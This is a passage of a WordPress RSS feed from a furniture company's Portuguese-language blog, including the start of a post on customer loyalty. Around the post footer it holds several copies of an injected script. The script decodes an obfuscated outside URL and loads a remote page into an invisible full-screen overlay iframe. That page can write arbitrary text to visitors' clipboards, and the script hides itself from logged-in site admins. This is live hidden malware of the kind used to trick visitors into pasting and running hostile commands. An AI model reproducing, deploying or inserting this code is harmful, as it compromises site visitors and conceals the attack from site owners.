    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><p>O post <a href="https://marel.com.br/franquia-de-moveis-revenda-exclusiva-diferenca/">Entenda a Diferença Entre Uma Franquia de Móveis e Uma Revenda Exclusiva</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>5 Estratégias Para Fidelizar Clientes Na Sua Loja De Móveis</title>
		<link>https://marel.com.br/estrategias-para-fidelizar-clientes/</link>
		
		<dc:creator><![CDATA[BLOG USER]]></dc:creator>
		<pubDate>Mon, 22 Aug 2022 13:00:00 +0000</pubDate>
				<category><![CDATA[Sem categoria]]></category>
		<guid isPermaLink="false">https://marel.com.br/?p=12800</guid>

					<description><![CDATA[<p>Estratégias para fidelizar clientes estão cada vez mais intensas no mercado moveleiro. No artigo, contamos 5 dicas importantes para fortalecer a sua relação com o seu público. Confira! </p>
<p>O post <a href="https://marel.com.br/estrategias-para-fidelizar-clientes/">5 Estratégias Para Fidelizar Clientes Na Sua Loja De Móveis</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Fidelizar clientes é um dos pontos essenciais para o sucesso de uma empresa. Afinal, quanto mais tempo um consumidor permanece fiel a uma marca, maior é o retorno financeiro que ele pode trazer para o negócio. Além disso, pesquisas mostram que manter um cliente pode ser até sete vezes mais barato do que atrair um novo.&nbsp;</p>



<p class="wp-block-paragraph">Para você que tem uma loja de móveis de alto padrão e quer desfrutar de todos os benefícios de ter um público fidelizado, neste artigo nós listamos cinco ações que ajudam a reter consumidores e mantê-los com alto nível de satisfação. Confira. </p>



<h2 class="wp-block-heading"><strong>1. Aprenda a ouvir seus clientes</strong></h2>



<p class="wp-block-paragraph">Conhecer muito bem o seu cliente é fundamental se você quer fidelizá-lo. E, para isso, é essencial aprender a ouvir o que ele tem a dizer e saber identificar suas dores e desejos.&nbsp;</p>



<p class="wp-block-paragraph">Trabalhe para entender o que a sua clientela busca ao comprar um móvel e se empenhe em compreender o que ela espera da sua loja: esse é o caminho para conseguir oferecer, além de serviços e produtos de alta qualidade, uma experiência que encante o consumidor.</p>



<h2 class="wp-block-heading"><strong>2. Ofereça atendimento personalizados</strong></h2>



<p class="wp-block-paragraph">Falando em experiência que encanta, ter um atendimento diferenciado, de excelência, e que seja personalizado é uma das chaves para fidelizar clientes.&nbsp;</p>



<p class="wp-block-paragraph">Para se destacar da concorrência, ofereça assistência técnica de qualidade e um pós-venda eficiente, que mostre ao consumidor que a sua loja está sempre à disposição e sua equipe preocupada em resolver qualquer dificuldade que ele tenha.</p>



<h2 class="wp-block-heading"><strong>3. Atenda às necessidades do seu público-alvo</strong></h2>



<p class="wp-block-paragraph">Em meio a tanta oferta no setor moveleiro, conhecer e suprir as necessidades do público-alvo da sua loja é um grande diferencial.&nbsp;</p>



